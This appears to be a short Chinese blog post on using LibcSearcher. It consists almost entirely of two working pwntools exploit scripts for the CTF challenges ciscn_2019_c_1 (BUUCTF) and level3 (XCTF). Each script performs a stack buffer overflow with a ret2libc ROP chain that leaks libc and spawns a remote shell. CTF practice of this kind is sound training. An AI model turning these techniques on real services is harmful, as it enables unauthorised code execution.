LibcSearcher的使用

偏执的太偏执、 2022-12-26 08:16 162阅读 0赞

BUUCTF ciscn\_2019\_c\_1

from pwn import *
    from LibcSearcher import *
    
    context.os='linux'
    context.arch='amd64'
    context.log_level='debug'
    
    ru=lambda x:io.recvuntil(x)
    rl=lambda :io.recvline()
    sla=lambda x,y:io.sendlineafter(x,y)
    
    io=remote('xxx',xxx)
    elf=ELF('./ciscn_2019_c_1')
    
    ret=0x4006b9
    pop_rdi=0x400c83
    main=elf.sym['main']
    puts_plt=elf.plt['puts']
    puts_got=elf.got['puts']
    
    sla('choice!\n','1')
    payload='\0'+'a'*(0x50-1+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
    sla('encrypted\n',payload)
    rl()
    rl()
    puts=u64(ru('\n')[:-1].ljust(8,'\0'))
    libc=LibcSearcher('puts',puts)
    libc_addr=puts-libc.dump('puts')
    binsh=libc_addr+libc.dump('str_bin_sh')
    system=libc_addr+libc.dump('system')
    sla('choice!\n','1')
    payload='\0'+'a'*(0x50-1+8)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
    sla('encrypted\n',payload)
    
    io.interactive()

攻防世界 level3

from pwn import *
    
    context.log_level = 'debug'
    
    conn = remote('111.198.29.45', 49214)
    elf = ELF('./level3')
    libc = ELF('./libc_32.so.6')
    
    write_plt = elf.plt['write']
    write_got = elf.got['write']
    main_addr = elf.symbols['main']
    
    payload = 'A' * (0x88 + 4) 
    payload += p32(write_plt) 
    payload += p32(main_addr) 
    payload += p32(1) + p32(write_got) + p32(4)
    
    conn.sendlineafter('Input:\n', payload)
    write_addr = u32(conn.recv()[:4])
    
    libc_base = write_addr - libc.symbols['write']
    print 'libc_base is', libc_base
    
    sys_addr = libc_base + libc.symbols['system']
    bin_addr = libc_base + libc.search('/bin/sh').next()
    
    payload = 'A' * (0x88 + 4) 
    payload += p32(sys_addr) 
    payload += '9527' 
    payload += p32(bin_addr)
    
    conn.sendline(payload)
    conn.interactive()
    
    conn.close()